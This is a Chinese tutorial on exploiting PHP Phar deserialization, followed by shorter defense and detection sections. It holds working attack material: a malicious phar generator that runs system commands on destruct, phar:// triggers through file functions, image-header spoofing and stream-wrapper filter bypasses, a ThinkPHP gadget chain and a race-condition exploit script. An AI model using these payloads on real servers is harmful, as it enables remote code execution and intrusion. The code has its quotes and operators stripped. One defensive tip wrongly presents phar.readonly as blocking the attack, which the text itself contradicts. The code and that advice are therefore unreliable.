1. 初识PHP Phar协议PharPHP Archive是PHP中类似JAR的打包文件格式从PHP 5.3开始默认支持。它能把多个PHP文件、资源打包成单个.phar文件无需解压即可直接执行。就像把一堆工具装进工具箱使用时打开箱子就能取用。Phar文件由四部分组成Stub文件标识头格式为xxx?php __HALT_COMPILER();?必须以__HALT_COMPILER()结尾Manifest存储压缩文件的属性、权限等信息包含序列化的用户自定义meta-dataFile Contents实际压缩的文件内容Signature可选文件末尾的签名验证2. Phar反序列化漏洞原理2.1 漏洞触发机制当PHP通过phar://协议解析phar文件时会自动反序列化manifest中的meta-data。这个过程不依赖unserialize()函数而是由PHP内核在解析phar文件时自动完成。关键点在于任何文件操作函数只要参数可控且支持phar://协议都可能触发反序列化。比如// 以下函数调用都会触发反序列化 file_exists(phar://test.phar); file_get_contents(phar://test.phar/test.txt); is_dir(phar://test.phar);2.2 漏洞利用条件phar文件能上传到服务器通过文件上传、缓存写入等方式存在可用的魔术方法如__destruct()、__wakeup()等作为跳板文件操作函数参数可控且未过滤phar://等特殊字符php.ini中phar.readonlyOff默认On但只影响生成phar不影响解析3. 实战漏洞利用演示3.1 生成恶意phar文件class Exploit { public $cmd system(whoami);; function __destruct() { eval($this-cmd); } } unlink(exploit.phar); $phar new Phar(exploit.phar); $phar-startBuffering(); $phar-setStub(?php __HALT_COMPILER(); ?); $phar-setMetadata(new Exploit()); $phar-addFromString(test.txt, test); $phar-stopBuffering();3.2 上传并触发漏洞假设存在文件上传功能// 上传控制器 move_uploaded_file($_FILES[file][tmp_name], uploads/.$_FILES[file][name]); // 存在漏洞的代码 $file $_GET[file]; // 可控参数 file_exists($file); // 触发反序列化攻击者可以上传伪装成图片的phar文件如exploit.jpg访问?filephar://uploads/exploit.jpg触发RCE4. 高级绕过技巧4.1 文件类型伪装通过添加文件头绕过上传检测// 伪装成GIF $phar-setStub(GIF89a?php __HALT_COMPILER(); ?); // 伪装为PNG $phar-setStub(\x89PNG\r\n\x1a\n?php __HALT_COMPILER(); ?);4.2 协议嵌套绕过当phar://被过滤时// 使用压缩流包装器 compress.zlib://phar:///path/to/file.phar // 配合php://filter php://filter/resourcephar:///path/to/file.phar4.3 特征混淆技术修改文件签名使用Phar::setSignatureAlgorithm()更改签名算法注释注入在stub中添加干扰字符如/*AAAA...*/转换为其他格式$phar-convertToExecutable(Phar::ZIP); // 转为zip格式 $phar-convertToExecutable(Phar::TAR); // 转为tar格式5. 真实漏洞案例分析5.1 ThinkPHP 5.x反序列化链结合ThinkPHP的POP链实现RCEnamespace think\process\pipes; class Windows { private $files; public function __construct() { $this-files [new Pivot()]; // 触发模型反序列化 } } // 生成phar时设置metadata为Windows对象 $phar-setMetadata(new Windows());5.2 条件竞争利用当服务器会快速删除上传文件时# 竞争上传和触发 import threading import requests def upload(): while True: requests.post(url, files{file: open(exploit.phar,rb)}) def trigger(): while True: r requests.get(url?filephar://exploit.phar) if flag{ in r.text: print(r.text) exit() threading.Thread(targetupload).start() threading.Thread(targettrigger).start()6. 防御方案6.1 代码层防护禁用危险协议ini_set(phar.readonly, 1);严格过滤输入$allowed [jpg, png]; $ext pathinfo($filename, PATHINFO_EXTENSION); if(!in_array($ext, $allowed)) { die(Invalid file type); }6.2 系统层防护更新到PHP 8.0默认不再自动反序列化metadata配置Web服务器禁止.phar文件访问使用open_basedir限制文件操作范围6.3 安全开发建议避免使用__destruct()等魔术方法执行敏感操作对文件操作函数实施白名单控制使用finfo_file()而非文件扩展名检测类型7. 检测与排查方法7.1 自动化扫描使用工具检测可能存在问题的代码模式# 使用semgrep查找危险函数 semgrep --configp/php.lang.security.unserialize # 查找文件操作函数 grep -r file_exists\|file_get_contents /path/to/code7.2 人工审计要点查找所有包含phar://的代码路径检查文件上传功能的处理逻辑审查__wakeup()、__destruct()等魔术方法验证输入过滤是否完整在实际项目中遇到这类漏洞时我曾通过修改phar签名算法成功绕过某CMS的防护机制。关键是要理解phar协议解析的底层逻辑才能针对不同场景设计有效的利用方案。建议在测试环境中多尝试各种绕过手法积累实战经验。